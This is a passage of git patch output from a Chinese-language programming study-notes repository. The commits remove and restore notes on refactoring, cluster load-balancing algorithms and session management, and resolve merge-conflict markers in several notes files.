-
-```java
-class Manager extends Employee...
-
-public Manager(String name, String id, int grade) {
-    this.name = name;
-    this.id = id;
-    this.grade = grade;
-}
-```
-
-```java
-public Manager(String name, String id, int grade) {
-    super(name, id);
-    this.grade = grade;
-}
-```
-
-## 4. 函数下移
-
-> Push Down Method
-
-超类中的某个函数只与部分子类有关。
-
-将这个函数移到相关的那些子类去。
-
-## 5. 字段下移
-
-> Push Down Field
-
-超类中的某个字段只被部分子类用到。
-
-将这个字段移到需要它的那些子类去。
-
-## 6. 提炼子类
-
-> Extract Subclass
-
-类中的某些特性只被某些实例用到。
-
-新建一个子类，将上面所说的那一部分特性移到子类中。
-
-## 7. 提炼超类
-
-> Extract Superclass
-
-两个类有相似特性。
-
-为这两个类建立一个超类，将相同特性移至超类。
-
-## 8. 提炼接口
-
-> Extract Interface
-
-若干客户使用类接口中的同一子集，或者两个类的接口有部分相同。
-
-将相同的子集提炼到一个独立接口中。
-
-## 9. 折叠继承体系
-
-> Collapse Hierarchy
-
-超类和子类之间无太大区别。
-
-将它们合为一体。
-
-## 10. 塑造模板函数
-
-> Form Template Method
-
-你有一些子类，其中相应的某些函数以相同顺序执行类似的操作，但各个操作的细节上有所不同。
-
-将这些操作分别放进独立函数中，并保持它们都有相同的签名，于是原函数也就变得相同了。然后将原函数上移至超类。(模板方法模式)
-
-## 11. 以委托取代继承
-
-> Replace Inheritance with Delegation
-
-某个子类只使用超类接口中的一部分，或是根本不需要继承而来的数据。
-
-在子类中新建一个字段用以保存超类，调整子类函数，令它改而委托超类，然后去掉两者之间的继承关系。
-
-## 12. 以继承取代委托
-
-> Replace Delegation with Inheritance
-
-你在两个类之间使用委托关系，并经常为整个接口编写许多极简单的委托函数。
-
-让委托类继承受托类。
-
-# 参考资料
-
-- MartinFowler, 福勒, 贝克, 等. 重构: 改善既有代码的设计 [M]. 电子工业出版社, 2011.
diff --git a/notes/集群.md b/notes/集群.md
index b36a0bfe..649f563a 100644
--- a/notes/集群.md
+++ b/notes/集群.md
@@ -1,194 +1,4 @@
 <!-- GFM-TOC -->
-* [一、负载均衡](#一负载均衡)
-    * [算法实现](#算法实现)
-    * [转发实现](#转发实现)
-* [二、集群下的 Session 管理](#二集群下的-session-管理)
-    * [Sticky Sessions](#sticky-sessions)
-    * [Session Replication](#session-replication)
-    * [Session Server](#session-server)
 <!-- GFM-TOC -->
 
 
-# 一、负载均衡
-
-集群中的应用服务器通常被设计成无状态，用户可以请求任何一个节点（应用服务器）。
-
-负载均衡器会根据集群中每个节点的负载情况，将用户请求转发到合适的节点上。
-
-负载均衡器可以用来实现高可用以及伸缩性：
-
-- 高可用：当某个节点故障时，负载均衡器不会将用户请求转发到该节点上，从而保证所有服务持续可用；
-- 伸缩性：可以很容易地添加移除节点。
-
-负载均衡运行过程包含两个部分：
-
-1. 根据负载均衡算法得到应该将请求转发到哪个节点上；
-2. 将请求进行转发；
-
-## 算法实现
-
-### 1. 轮询（Round Robin）
-
-轮询算法把每个请求轮流发送到每个服务器上。下图中，一共有 6 个客户端产生了 6 个请求，这 6 个请求按 (1, 2, 3, 4, 5, 6) 的顺序发送。最后，(1, 3, 5) 的请求会被发送到服务器 1，(2, 4, 6) 的请求会被发送到服务器 2。
-
-<div align="center"> <img src="../pics//2766d04f-7dad-42e4-99d1-60682c9d5c61.jpg"/> </div><br>
-
-该算法比较适合每个服务器的性能差不多的场景，如果有性能存在差异的情况下，那么性能较差的服务器可能无法承担过大的负载（下图的 Server 2）。
-
-<div align="center"> <img src="../pics//f7ecbb8d-bb8b-4d45-a3b7-f49425d6d83d.jpg"/> </div><br>
-
-### 2. 加权轮询（Weighted Round Robbin）
-
-加权轮询是在轮询的基础上，根据服务器的性能差异，为服务器赋予一定的权值，性能高的服务器分配更高的权值。例如下图中，服务器 1 被赋予的权值为 5，服务器 2 被赋予的权值为 1，那么 (1, 2, 3, 4, 5) 请求会被发送到服务器 1，(6) 请求会被发送到服务器 2。
-
-<div align="center"> <img src="../pics//211c60d4-75ca-4acd-8a4f-171458ed58b4.jpg"/> </div><br>
-
-### 3. 最少连接（least Connections）
-
-由于每个请求的连接时间不一样，使用轮询或者加权轮询算法的话，可能会让一台服务器当前连接数过大，而另一台服务器的连接过小，造成负载不均衡。例如下图中，(1, 3, 5) 请求会被发送到服务器 1，但是 (1, 3) 很快就断开连接，此时只有 (5) 请求连接服务器 1；(2, 4, 6) 请求被发送到服务器 2，只有 (2) 的连接断开。该系统继续运行时，服务器 2 会承担过大的负载。
-
-<div align="center"> <img src="../pics//3b0d1aa8-d0e0-46c2-8fd1-736bf08a11aa.jpg"/> </div><br>
-
-最少连接算法就是将请求发送给当前最少连接数的服务器上。例如下图中，服务器 1 当前连接数最小，那么新到来的请求 6 就会被发送到服务器 1 上。
-
-<div align="center"> <img src="../pics//1f4a7f10-52b2-4bd7-a67d-a9581d66dc62.jpg"/> </div><br>
-
-### 4. 加权最少连接（Weighted Least Connection）
-
-在最少连接的基础上，根据服务器的性能为每台服务器分配权重，再根据权重计算出每台服务器能处理的连接数。
-
-<div align="center"> <img src="../pics//44edefb7-4b58-4519-b8ee-4aca01697b78.jpg"/> </div><br>
-
-### 5. 随机算法（Random）
-
-把请求随机发送到服务器上。和轮询算法类似，该算法比较适合服务器性能差不多的场景。
-
-<div align="center"> <img src="../pics//0ee0f61b-c782-441e-bf34-665650198ae0.jpg"/> </div><br>
-
-### 6. 源地址哈希法 (IP Hash)
-
-源地址哈希通过对客户端 IP 计算哈希值之后，再对服务器数量进行取模运算得到目标服务器的序号。可以保证同一 IP 的客户端的请求会转发到同一台服务器上，可以用来实现会话粘滞（Sticky Session）
-
-<div align="center"> <img src="../pics//2018040302.jpg"/> </div><br>
-
-## 转发实现
-
-### 1. HTTP 重定向
-
-HTTP 重定向负载均衡服务器使用某种负载均衡算法计算得到服务器的 IP 地址之后，将该地址写入 HTTP 重定向报文中，状态码为 302。客户端收到重定向报文之后，需要重新向服务器发起请求。
-
-缺点：
-
-- 需要两次请求，因此访问延迟比较高；
-- HTTP 负载均衡器处理能力有限，会限制集群的规模。
-
-该负载均衡转发的缺点比较明显，实际场景中很少使用它。
-
-<div align="center"> <img src="../pics//c5f611f0-fd5c-4158-9003-278141136e6e.jpg"/> </div><br>
-
-### 2. DNS 域名解析
-
-在 DNS 解析域名的同时使用负载均衡算法计算服务器地址。
-
-优点：
-
-- DNS 能够根据地理位置进行域名解析，返回离用户最近的服务器 IP 地址。
-
-缺点：
-
-- 由于 DNS 具有多级结构，每一级的域名记录都可能被缓存，当下线一台服务器需要修改 DNS 记录时，需要过很长一段时间才能生效；
-
-大型网站基本使用了 DNS 做为第一级负载均衡手段，然后在内部使用其它方式做第二级负载均衡。也就是说，域名解析的结果为内部的负载均衡服务器 IP 地址。
-
-<div align="center"> <img src="../pics//76a25fc8-a579-4d7c-974b-7640b57fbf39.jpg"/> </div><br>
-
-### 3. 反向代理服务器
-
-首先了解一下正向代理与反向代理的区别：
-
-- 正向代理：发生在客户端，是由用户主动发起的。比如翻墙，客户端通过主动访问代理服务器，让代理服务器获得需要的外网数据，然后转发回客户端；
-- 反向代理：发生在服务器端，用户不知道代理的存在。
-
-反向代理服务器位于源服务器前面，用户的请求需要先经过反向代理服务器才能到达源服务器。反向代理可以用来进行缓存、日志记录等，同时也可以用来做为负载均衡服务器。
-
-在这种负载均衡转发方式下，客户端不直接请求源服务器，因此源服务器不需要外部 IP 地址，而反向代理需要配置内部和外部两套 IP 地址。
-
-优点：
-
-- 与其它功能集成在一起，部署简单。
-
-缺点：
-
-- 所有请求和响应都需要经过反向代理服务器，它可能会成为性能瓶颈。
-
-### 4. 网络层
-
-负载均衡服务器在操作系统内核进程获取网络数据包，根据负载均衡算法计算源服务器的 IP 地址，并修改请求数据包的目的 IP 地址，最后进行转发。
-
-源服务器返回的响应也需要经过负载均衡服务器，通常是让负载均衡服务器同时作为集群的网关服务器来实现。
-
-优点：
-
-- 在内核进程中进行处理，性能比较高。
-
-缺点：
-
-- 和反向代理一样，所有的请求和相应都经过负载均衡服务器，会成为性能瓶颈。
-
-### 5. 链路层
-
-在链路层根据负载均衡算法计算源服务器的 MAC 地址，并修改请求数据包的目的 MAC 地址，并进行转发。
-
-通过配置源服务器的虚拟 IP 地址和负载均衡服务器的 IP 地址一致，从而不需要需要 IP 地址就可以进行转发。也正因为 IP 地址一样，所以源服务器的响应不需要转发回负载均衡服务器，直接转发给客户端，避免了负载均衡服务器的成为瓶颈。这是一种三角传输模式，被称为直接路由，对于提供下载和视频服务的网站来说，直接路由避免了大量的网络传输数据经过负载均衡服务器。
-
-这是目前大型网站使用最广负载均衡转发方式，在 Linux 平台可以使用 LVS（Linux Virtual Server）。
-
-参考：
-
-- [Comparing Load Balancing Algorithms](http://www.jscape.com/blog/load-balancing-algorithms)
-- [Redirection and Load Balancing](http://slideplayer.com/slide/6599069/#)
-
-# 二、集群下的 Session 管理
-
-一个用户的 Session 信息如果存储在一个服务器上，那么当负载均衡器把用户的下一个请求转发到另一个服务器，由于服务器没有用户的 Session 信息，那么该用户就需要重新进行登录等操作。
-
-## Sticky Sessions
-
-需要配置负载均衡器，使得一个用户的所有请求都路由到同一个服务器，这样就可以把用户的 Session 存放在该服务器中。
-
-缺点：
-
-- 当服务器宕机时，将丢失该服务器上的所有 Session。
-
-<div align="center"> <img src="../pics//MultiNode-StickySessions.jpg"/> </div><br>
-
-## Session Replication
-
-在服务器之间进行 Session 同步操作，每个服务器都有所有用户的 Session 信息，因此用户可以向任何一个服务器进行请求。
-
-缺点：
-
-- 占用过多内存；
-- 同步过程占用网络带宽以及服务器处理器时间。
-
-
-<div align="center"> <img src="../pics//MultiNode-SessionReplication.jpg"/> </div><br>
-
-## Session Server
-
-使用一个单独的服务器存储 Session 数据，可以使用 MySQL，也使用 Redis 或者 Memcached 这种内存型数据库。
-
-优点：
-
-- 为了使得大型网站具有伸缩性，集群中的应用服务器通常需要保持无状态，那么应用服务器不能存储用户的会话信息。Session Server 将用户的会话信息单独进行存储，从而保证了应用服务器的无状态。
-
-缺点：
-
-- 需要去实现存取 Session 的代码。
-
-<div align="center"> <img src="../pics//MultiNode-SpringSession.jpg"/> </div><br>
-
-参考：
-
-- [Session Management using Spring Session with JDBC DataStore](https://sivalabs.in/2018/02/session-management-using-spring-session-jdbc-datastore/)
-

From 19d6a24e7b237cc936ac5b7740ff29ddc71f0774 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Tue, 7 Aug 2018 12:40:02 +0800
Subject: [PATCH 85/87] auto commit

---
 notes/Java IO.md        |  23 ++++-
 notes/Java 容器.md      |   6 --
 notes/Redis.md          |  46 ++++++++-
 notes/SQL.md            |   6 --
 notes/分布式.md         |  27 +++++-
 notes/数据库系统原理.md |  41 +++++++-
 notes/正则表达式.md     |  14 ++-
 notes/系统设计基础.md   |  98 -------------------
 notes/计算机网络.md     |   6 --
 notes/重构.md           |   6 --
 notes/集群.md           | 208 ----------------------------------------
 11 files changed, 136 insertions(+), 345 deletions(-)

diff --git a/notes/Java IO.md b/notes/Java IO.md
index 93b1c46f..1e3aedcd 100644
--- a/notes/Java IO.md	
+++ b/notes/Java IO.md	
@@ -1,9 +1,27 @@
 <!-- GFM-TOC -->
+* [一、概览](#一概览)
+* [二、磁盘操作](#二磁盘操作)
+* [三、字节操作](#三字节操作)
+* [四、字符操作](#四字符操作)
+* [五、对象操作](#五对象操作)
+* [六、网络操作](#六网络操作)
+    * [InetAddress](#inetaddress)
+    * [URL](#url)
+    * [Sockets](#sockets)
+    * [Datagram](#datagram)
+* [七、NIO](#七nio)
+    * [流与块](#流与块)
+    * [通道与缓冲区](#通道与缓冲区)
+    * [缓冲区状态变量](#缓冲区状态变量)
+    * [文件 NIO 实例](#文件-nio-实例)
+    * [选择器](#选择器)
+    * [套接字 NIO 实例](#套接字-nio-实例)
+    * [内存映射文件](#内存映射文件)
+    * [对比](#对比)
+* [八、参考资料](#八参考资料)
 <!-- GFM-TOC -->
 
 
-<<<<<<< HEAD
-=======
 # 一、概览
 
 Java 的 I/O 大概可以分成以下几类：
@@ -570,4 +588,3 @@ NIO 与普通 I/O 的区别主要有以下两点：
 - [NIO 与传统 IO 的区别](http://blog.csdn.net/shimiso/article/details/24990499)
 - [Decorator Design Pattern](http://stg-tud.github.io/sedc/Lecture/ws13-14/5.3-Decorator.html#mode=document)
 - [Socket Multicast](http://labojava.blogspot.com/2012/12/socket-multicast.html)
->>>>>>> 8c67483fe9ac599aa6f6358fb32a541d7e279666
diff --git a/notes/Java 容器.md b/notes/Java 容器.md
index b5fbefc6..bf1921fc 100644
--- a/notes/Java 容器.md	
+++ b/notes/Java 容器.md	
@@ -1,9 +1,4 @@
 <!-- GFM-TOC -->
-<<<<<<< HEAD
-<!-- GFM-TOC -->
-
-
-=======
 * [一、概览](#一概览)
     * [Collection](#collection)
     * [Map](#map)
@@ -1152,4 +1147,3 @@ ListIterator <-- List
 - [Java 集合细节（二）：asList 的缺陷](http://wiki.jikexueyuan.com/project/java-enhancement/java-thirtysix.html)
 - [Java Collection Framework – The LinkedList Class](http://javaconceptoftheday.com/java-collection-framework-linkedlist-class/)
 
->>>>>>> 8c67483fe9ac599aa6f6358fb32a541d7e279666
diff --git a/notes/Redis.md b/notes/Redis.md
index d15b60af..0981abf0 100644
--- a/notes/Redis.md
+++ b/notes/Redis.md
@@ -1,9 +1,50 @@
 <!-- GFM-TOC -->
+* [一、概述](#一概述)
+* [二、数据类型](#二数据类型)
+    * [STRING](#string)
+    * [LIST](#list)
+    * [SET](#set)
+    * [HASH](#hash)
+    * [ZSET](#zset)
+* [三、数据结构](#三数据结构)
+    * [字典](#字典)
+    * [跳跃表](#跳跃表)
+* [四、使用场景](#四使用场景)
+    * [计数器](#计数器)
+    * [缓存](#缓存)
+    * [查找表](#查找表)
+    * [消息队列](#消息队列)
+    * [会话缓存](#会话缓存)
+    * [分布式锁实现](#分布式锁实现)
+    * [其它](#其它)
+* [五、Redis 与 Memcached](#五redis-与-memcached)
+    * [数据类型](#数据类型)
+    * [数据持久化](#数据持久化)
+    * [分布式](#分布式)
+    * [内存管理机制](#内存管理机制)
+* [六、键的过期时间](#六键的过期时间)
+* [七、数据淘汰策略](#七数据淘汰策略)
+* [八、持久化](#八持久化)
+    * [RDB 持久化](#rdb-持久化)
+    * [AOF 持久化](#aof-持久化)
+* [九、事务](#九事务)
+* [十、事件](#十事件)
+    * [文件事件](#文件事件)
+    * [时间事件](#时间事件)
+    * [事件的调度与执行](#事件的调度与执行)
+* [十一、复制](#十一复制)
+    * [连接过程](#连接过程)
+    * [主从链](#主从链)
+* [十二、Sentinel](#十二sentinel)
+* [十三、分片](#十三分片)
+* [十四、一个简单的论坛系统分析](#十四一个简单的论坛系统分析)
+    * [文章信息](#文章信息)
+    * [点赞功能](#点赞功能)
+    * [对文章进行排序](#对文章进行排序)
+* [参考资料](#参考资料)
 <!-- GFM-TOC -->
 
 
-<<<<<<< HEAD
-=======
 # 一、概述
 
 Redis 是速度非常快的非关系型（NoSQL）内存键值数据库，可以存储键和五种不同类型的值之间的映射。
@@ -566,4 +607,3 @@ Redis 没有关系型数据库中的表这一概念来将同种类型的数据
 - [Redis 应用场景](http://www.scienjus.com/redis-use-case/)
 - [Observer vs Pub-Sub](http://developers-club.com/posts/270339/)
 - [Using Redis as an LRU cache](https://redis.io/topics/lru-cache)
->>>>>>> 8c67483fe9ac599aa6f6358fb32a541d7e279666
diff --git a/notes/SQL.md b/notes/SQL.md
index 7ac49770..4a44aee8 100644
--- a/notes/SQL.md
+++ b/notes/SQL.md
@@ -1,9 +1,4 @@
 <!-- GFM-TOC -->
-<<<<<<< HEAD
-<!-- GFM-TOC -->
-
-
-=======
 * [一、基础](#一基础)
 * [二、创建表](#二创建表)
 * [三、修改表](#三修改表)
@@ -770,4 +765,3 @@ SET PASSWROD FOR myuser = Password('new_password');
 # 参考资料
 
 - BenForta. SQL 必知必会 [M]. 人民邮电出版社, 2013.
->>>>>>> 8c67483fe9ac599aa6f6358fb32a541d7e279666
diff --git a/notes/分布式.md b/notes/分布式.md
index d807bfc2..c048b43e 100644
--- a/notes/分布式.md
+++ b/notes/分布式.md
@@ -1,9 +1,31 @@
 <!-- GFM-TOC -->
+* [一、分布式锁](#一分布式锁)
+    * [数据库的唯一索引](#数据库的唯一索引)
+    * [Redis 的 SETNX 指令](#redis-的-setnx-指令)
+    * [Redis 的 RedLock 算法](#redis-的-redlock-算法)
+    * [Zookeeper 的有序节点](#zookeeper-的有序节点)
+* [二、分布式事务](#二分布式事务)
+    * [本地消息表](#本地消息表)
+    * [2PC](#2pc)
+* [三、CAP](#三cap)
+    * [一致性](#一致性)
+    * [可用性](#可用性)
+    * [分区容忍性](#分区容忍性)
+    * [权衡](#权衡)
+* [四、BASE](#四base)
+    * [基本可用](#基本可用)
+    * [软状态](#软状态)
+    * [最终一致性](#最终一致性)
+* [五、Paxos](#五paxos)
+    * [执行过程](#执行过程)
+    * [约束条件](#约束条件)
+* [五、Raft](#五raft)
+    * [单个 Candidate 的竞选](#单个-candidate-的竞选)
+    * [多个 Candidate 竞选](#多个-candidate-竞选)
+    * [日志复制](#日志复制)
 <!-- GFM-TOC -->
 
 
-<<<<<<< HEAD
-=======
 # 一、分布式锁
 
 在单机场景下，可以使用 Java 提供的内置锁来实现进程同步。但是在分布式场景下，需要同步的进程可能位于不同的节点上，那么就需要使用分布式锁。
@@ -333,4 +355,3 @@ Raft 主要是用来竞选主节点。
 
 - [Raft: Understandable Distributed Consensus](http://thesecretlivesofdata.com/raft)
 
->>>>>>> 8c67483fe9ac599aa6f6358fb32a541d7e279666
diff --git a/notes/数据库系统原理.md b/notes/数据库系统原理.md
index 838e483b..151ffc0f 100644
--- a/notes/数据库系统原理.md
+++ b/notes/数据库系统原理.md
@@ -1,9 +1,45 @@
 <!-- GFM-TOC -->
+* [一、事务](#一事务)
+    * [概念](#概念)
+    * [ACID](#acid)
+    * [AUTOCOMMIT](#autocommit)
+* [二、并发一致性问题](#二并发一致性问题)
+    * [丢失修改](#丢失修改)
+    * [读脏数据](#读脏数据)
+    * [不可重复读](#不可重复读)
+    * [幻影读](#幻影读)
+* [三、封锁](#三封锁)
+    * [封锁粒度](#封锁粒度)
+    * [封锁类型](#封锁类型)
+    * [封锁协议](#封锁协议)
+    * [MySQL 隐式与显示锁定](#mysql-隐式与显示锁定)
+* [四、隔离级别](#四隔离级别)
+    * [未提交读（READ UNCOMMITTED）](#未提交读read-uncommitted)
+    * [提交读（READ COMMITTED）](#提交读read-committed)
+    * [可重复读（REPEATABLE READ）](#可重复读repeatable-read)
+    * [可串行化（SERIALIZABLE）](#可串行化serializable)
+* [五、多版本并发控制](#五多版本并发控制)
+    * [版本号](#版本号)
+    * [Undo 日志](#undo-日志)
+    * [实现过程](#实现过程)
+    * [快照读与当前读](#快照读与当前读)
+* [六、Next-Key Locks](#六next-key-locks)
+    * [Record Locks](#record-locks)
+    * [Gap Locks](#gap-locks)
+    * [Next-Key Locks](#next-key-locks)
+* [七、关系数据库设计理论](#七关系数据库设计理论)
+    * [函数依赖](#函数依赖)
+    * [异常](#异常)
+    * [范式](#范式)
+* [八、ER 图](#八er-图)
+    * [实体的三种联系](#实体的三种联系)
+    * [表示出现多次的关系](#表示出现多次的关系)
+    * [联系的多向性](#联系的多向性)
+    * [表示子类](#表示子类)
+* [参考资料](#参考资料)
 <!-- GFM-TOC -->
 
 
-<<<<<<< HEAD
-=======
 # 一、事务
 
 ## 概念
@@ -551,4 +587,3 @@ Entity-Relationship，有三个组成部分：实体、属性、联系。
 - [MySQL locking for the busy web developer](https://www.brightbox.com/blog/2013/10/31/on-mysql-locks/)
 - [浅入浅出 MySQL 和 InnoDB](https://draveness.me/mysql-innodb)
 - [Innodb 中的事务隔离级别和锁的关系](https://tech.meituan.com/innodb-lock.html)
->>>>>>> 8c67483fe9ac599aa6f6358fb32a541d7e279666
diff --git a/notes/正则表达式.md b/notes/正则表达式.md
index 6b563586..c713da63 100644
--- a/notes/正则表达式.md
+++ b/notes/正则表达式.md
@@ -1,9 +1,18 @@
 <!-- GFM-TOC -->
+* [一、概述](#一概述)
+* [二、匹配单个字符](#二匹配单个字符)
+* [三、匹配一组字符](#三匹配一组字符)
+* [四、使用元字符](#四使用元字符)
+* [五、重复匹配](#五重复匹配)
+* [六、位置匹配](#六位置匹配)
+* [七、使用子表达式](#七使用子表达式)
+* [八、回溯引用](#八回溯引用)
+* [九、前后查找](#九前后查找)
+* [十、嵌入条件](#十嵌入条件)
+* [参考资料](#参考资料)
 <!-- GFM-TOC -->
 
 
-<<<<<<< HEAD
-=======
 # 一、概述
 
 正则表达式用于文本内容的查找和替换。
@@ -377,4 +386,3 @@ aBCd
 # 参考资料
 
 - BenForta. 正则表达式必知必会 [M]. 人民邮电出版社, 2007.
->>>>>>> 8c67483fe9ac599aa6f6358fb32a541d7e279666
diff --git a/notes/系统设计基础.md b/notes/系统设计基础.md
index 313eca83..649f563a 100644
--- a/notes/系统设计基础.md
+++ b/notes/系统设计基础.md
@@ -2,101 +2,3 @@
 <!-- GFM-TOC -->
 
 
-<<<<<<< HEAD
-=======
-# 一、性能
-
-## 性能指标
-
-### 1. 响应时间
-
-指从某个请求从发出到接收到响应消耗的时间。
-
-在对响应时间进行测试时，通常采用重复请求方式，然后计算平均响应时间。
-
-### 2. 吞吐量
-
-指系统在单位时间内可以处理的请求数量，通常使用每秒的请求数来衡量。
-
-### 3. 并发用户数
-
-指系统能同时处理的并发用户请求数量。
-
-在没有并发存在的系统中，请求被顺序执行，此时响应时间为吞吐量的倒数。例如系统支持的吞吐量为 100 req/s，那么平均响应时间应该为 0.01s。
-
-目前的大型系统都支持多线程来处理并发请求，多线程能够提高吞吐量以及缩短响应时间，主要有两个原因：
-
-- 多 CPU
-- IO 等待时间
-
-使用 IO 多路复用等方式，系统在等待一个 IO 操作完成的这段时间内不需要被阻塞，可以去处理其它请求。通过将这个等待时间利用起来，使得 CPU 利用率大大提高。
-
-并发用户数不是越高越好，因为如果并发用户数太高，系统来不及处理这么多的请求，会使得过多的请求需要等待，那么响应时间就会大大提高。
-
-## 性能优化
-
-### 1. 集群
-
-将多台服务器组成集群，使用负载均衡将请求转发到集群中，避免单一服务器的负载压力过大导致性能降低。
-
-### 2. 缓存
-
-缓存能够提高性能的原因如下：
-
-- 缓存数据通常位于内存等介质中，这种介质对于读操作特别快；
-- 缓存数据可以位于靠近用户的地理位置上；
-- 可以将计算结果进行缓存，从而避免重复计算。
-
-### 3. 异步
-
-某些流程可以将操作转换为消息，将消息发送到消息队列之后立即返回，之后这个操作会被异步处理。
-
-# 二、伸缩性
-
-指不断向集群中添加服务器来缓解不断上升的用户并发访问压力和不断增长的数据存储需求。
-
-## 伸缩性与性能
-
-如果系统存在性能问题，那么单个用户的请求总是很慢的；
-
-如果系统存在伸缩性问题，那么单个用户的请求可能会很快，但是在并发数很高的情况下系统会很慢。
-
-## 实现伸缩性
-
-应用服务器只要不具有状态，那么就可以很容易地通过负载均衡器向集群中添加新的服务器。
-
-关系型数据库的伸缩性通过 Sharding 来实现，将数据按一定的规则分布到不同的节点上，从而解决单台存储服务器存储空间限制。
-
-对于非关系型数据库，它们天生就是为海量数据而诞生，对伸缩性的支持特别好。
-
-# 三、扩展性
-
-指的是添加新功能时对现有系统的其它应用无影响，这就要求不同应用具备低耦合的特点。
-
-实现可扩展主要有两种方式：
-
-- 使用消息队列进行解耦，应用之间通过消息传递的方式进行通信；
-- 使用分布式服务将业务和可复用的服务分离开来，业务使用分布式服务框架调用可复用的服务。新增的产品可以用过调用可复用的服务来实现业务逻辑，对其它产品没有影响。
-
-# 四、可用性
-
-## 冗余
-
-保证高可用的主要手段是使用冗余，当某个服务器故障时就请求其它服务器。
-
-应用服务器的冗余比较容易实现，只要保证应用服务器不具有状态，那么某个应用服务器故障时，负载均衡器将该应用服务器原先的用户请求转发到另一个应用服务器上不会对用户有任何影响。
-
-存储服务器的冗余需要使用主从复制来实现，当主服务器故障时，需要提升从服务器为主服务器，这个过程称为切换。
-
-## 监控
-
-对 CPU、内存、磁盘、网络等系统负载信息进行监控，当某个数据达到一定阈值时通知运维人员，从而在系统发生故障之前及时发现问题。
-
-## 服务降级
-
-服务器降级是系统为了应对大量的请求，主动关闭部分功能，从而保证核心功能可用。
-
-# 五、安全性
-
-要求系统的应对各种攻击手段时能够有可靠的应对措施。
->>>>>>> 8c67483fe9ac599aa6f6358fb32a541d7e279666
diff --git a/notes/计算机网络.md b/notes/计算机网络.md
index 2297e981..e80ba7f8 100644
--- a/notes/计算机网络.md
+++ b/notes/计算机网络.md
@@ -1,9 +1,4 @@
 <!-- GFM-TOC -->
-<<<<<<< HEAD
-<!-- GFM-TOC -->
-
-
-=======
 * [一、概述](#一概述)
     * [网络的网络](#网络的网络)
     * [ISP](#isp)
@@ -905,4 +900,3 @@ IMAP 协议中客户端和服务器上的邮件保持同步，如果不去手动
 - [Technology-Computer Networking[1]-Computer Networks and the Internet](http://www.linyibin.cn/2017/02/12/technology-ComputerNetworking-Internet/)
 - [P2P 网络概述.](http://slidesplayer.com/slide/11616167/)
 - [Circuit Switching (a) Circuit switching. (b) Packet switching.](http://slideplayer.com/slide/5115386/)
->>>>>>> 8c67483fe9ac599aa6f6358fb32a541d7e279666
diff --git a/notes/重构.md b/notes/重构.md
index 04e21e5f..b5a834e0 100644
--- a/notes/重构.md
+++ b/notes/重构.md
@@ -1,9 +1,4 @@
 <!-- GFM-TOC -->
-<<<<<<< HEAD
-<!-- GFM-TOC -->
-
-
-=======
 * [一、第一个案例](#一第一个案例)
 * [二、重构原则](#二重构原则)
     * [定义](#定义)
@@ -1428,4 +1423,3 @@ public Manager(String name, String id, int grade) {
 # 参考资料
 
 - MartinFowler, 福勒, 贝克, 等. 重构: 改善既有代码的设计 [M]. 电子工业出版社, 2011.
->>>>>>> 8c67483fe9ac599aa6f6358fb32a541d7e279666
diff --git a/notes/集群.md b/notes/集群.md
index 82ddda76..649f563a 100644
--- a/notes/集群.md
+++ b/notes/集群.md
@@ -1,212 +1,4 @@
 <!-- GFM-TOC -->
-<<<<<<< HEAD
 <!-- GFM-TOC -->
 
 
-=======
-* [一、负载均衡](#一负载均衡)
-    * [算法实现](#算法实现)
-    * [转发实现](#转发实现)
-* [二、集群下的 Session 管理](#二集群下的-session-管理)
-    * [Sticky Session](#sticky-session)
-    * [Session Replication](#session-replication)
-    * [Session Server](#session-server)
-<!-- GFM-TOC -->
-
-
-# 一、负载均衡
-
-集群中的应用服务器通常被设计成无状态，用户可以请求任何一个节点（应用服务器）。
-
-负载均衡器会根据集群中每个节点的负载情况，将用户请求转发到合适的节点上。
-
-负载均衡器可以用来实现高可用以及伸缩性：
-
-- 高可用：当某个节点故障时，负载均衡器不会将用户请求转发到该节点上，从而保证所有服务持续可用；
-- 伸缩性：可以很容易地添加移除节点。
-
-负载均衡运行过程包含两个部分：
-
-1. 根据负载均衡算法得到请求转发的节点；
-2. 将请求进行转发；
-
-## 算法实现
-
-### 1. 轮询（Round Robin）
-
-轮询算法把每个请求轮流发送到每个服务器上。
-
-下图中，一共有 6 个客户端产生了 6 个请求，这 6 个请求按 (1, 2, 3, 4, 5, 6) 的顺序发送。最后，(1, 3, 5) 的请求会被发送到服务器 1，(2, 4, 6) 的请求会被发送到服务器 2。
-
-<div align="center"> <img src="../pics//2766d04f-7dad-42e4-99d1-60682c9d5c61.jpg"/> </div><br>
-
-该算法比较适合每个服务器的性能差不多的场景，如果有性能存在差异的情况下，那么性能较差的服务器可能无法承担过大的负载（下图的 Server 2）。
-
-<div align="center"> <img src="../pics//f7ecbb8d-bb8b-4d45-a3b7-f49425d6d83d.jpg"/> </div><br>
-
-### 2. 加权轮询（Weighted Round Robbin）
-
-加权轮询是在轮询的基础上，根据服务器的性能差异，为服务器赋予一定的权值，性能高的服务器分配更高的权值。
-
-例如下图中，服务器 1 被赋予的权值为 5，服务器 2 被赋予的权值为 1，那么 (1, 2, 3, 4, 5) 请求会被发送到服务器 1，(6) 请求会被发送到服务器 2。
-
-<div align="center"> <img src="../pics//211c60d4-75ca-4acd-8a4f-171458ed58b4.jpg"/> </div><br>
-
-### 3. 最少连接（least Connections）
-
-由于每个请求的连接时间不一样，使用轮询或者加权轮询算法的话，可能会让一台服务器当前连接数过大，而另一台服务器的连接过小，造成负载不均衡。
-
-例如下图中，(1, 3, 5) 请求会被发送到服务器 1，但是 (1, 3) 很快就断开连接，此时只有 (5) 请求连接服务器 1；(2, 4, 6) 请求被发送到服务器 2，只有 (2) 的连接断开。该系统继续运行时，服务器 2 会承担过大的负载。
-
-<div align="center"> <img src="../pics//3b0d1aa8-d0e0-46c2-8fd1-736bf08a11aa.jpg"/> </div><br>
-
-最少连接算法就是将请求发送给当前最少连接数的服务器上。
-
-例如下图中，服务器 1 当前连接数最小，那么新到来的请求 6 就会被发送到服务器 1 上。
-
-<div align="center"> <img src="../pics//1f4a7f10-52b2-4bd7-a67d-a9581d66dc62.jpg"/> </div><br>
-
-### 4. 加权最少连接（Weighted Least Connection）
-
-在最少连接的基础上，根据服务器的性能为每台服务器分配权重，再根据权重计算出每台服务器能处理的连接数。
-
-<div align="center"> <img src="../pics//44edefb7-4b58-4519-b8ee-4aca01697b78.jpg"/> </div><br>
-
-### 5. 随机算法（Random）
-
-把请求随机发送到服务器上。
-
-和轮询算法类似，该算法比较适合服务器性能差不多的场景。
-
-<div align="center"> <img src="../pics//0ee0f61b-c782-441e-bf34-665650198ae0.jpg"/> </div><br>
-
-### 6. 源地址哈希法 (IP Hash)
-
-源地址哈希通过对客户端 IP 计算哈希值之后，再对服务器数量取模得到目标服务器的序号。
-
